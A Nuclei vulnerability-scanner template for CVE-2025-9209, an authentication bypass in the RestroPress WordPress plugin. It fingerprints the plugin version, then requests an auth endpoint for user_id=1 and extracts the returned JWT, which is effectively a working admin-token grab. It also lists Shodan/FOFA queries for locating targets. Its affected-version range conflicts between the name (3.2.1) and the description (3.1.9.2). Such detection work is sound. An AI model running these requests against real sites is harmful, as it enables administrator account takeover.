id: CVE-2025-9209

info:
  name: RestroPress 3.0.0-3.2.1 - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
   RestroPress Online Food Ordering System WordPress plugin 3.0.0 to 3.1.9.2 contains an authentication bypass caused by exposure of user private tokens and API data via /wp-json/wp/v2/users endpoint, letting unauthenticated attackers forge JWT tokens and authenticate as other users including administrators, exploit requires no authentication.
  impact: |
   Unauthenticated attackers can forge JWT tokens and authenticate as any user, including administrators, leading to full account takeover.
  remediation: |
   Update to the latest version beyond 3.1.9.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/restropress/restropress-online-food-ordering-system-300-3192-unauthenticated-information-exposure-to-authentication-bypass-via-forged-jwt
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-9209
    epss-score: 0.02229
    epss-percentile: 0.80438
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"/wp-content/plugins/restropress/"
    fofa-query: body="/wp-content/plugins/restropress/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,restropress,auth-bypass

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/restropress/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "RestroPress")'
          - 'compare_versions(version, ">= 3.0.0", "<= 3.2.1")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-json/rp/v1/auth?user_id=1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: probe-{{randstr}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"token\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: jwt_token
        group: 1
        regex:
          - '"token"\s*:\s*"(eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)"'
# digest: 4a0a00473045022037b1e7f66dd2385050490f098f0de1998349e281a5313333e650c35284195bb50221009b9ba45c9040dacaf32ec25b5c6bda834ccac3acbdbea6fe61ab7575fdc443f8:922c64590222798bb761d5b6d8e72950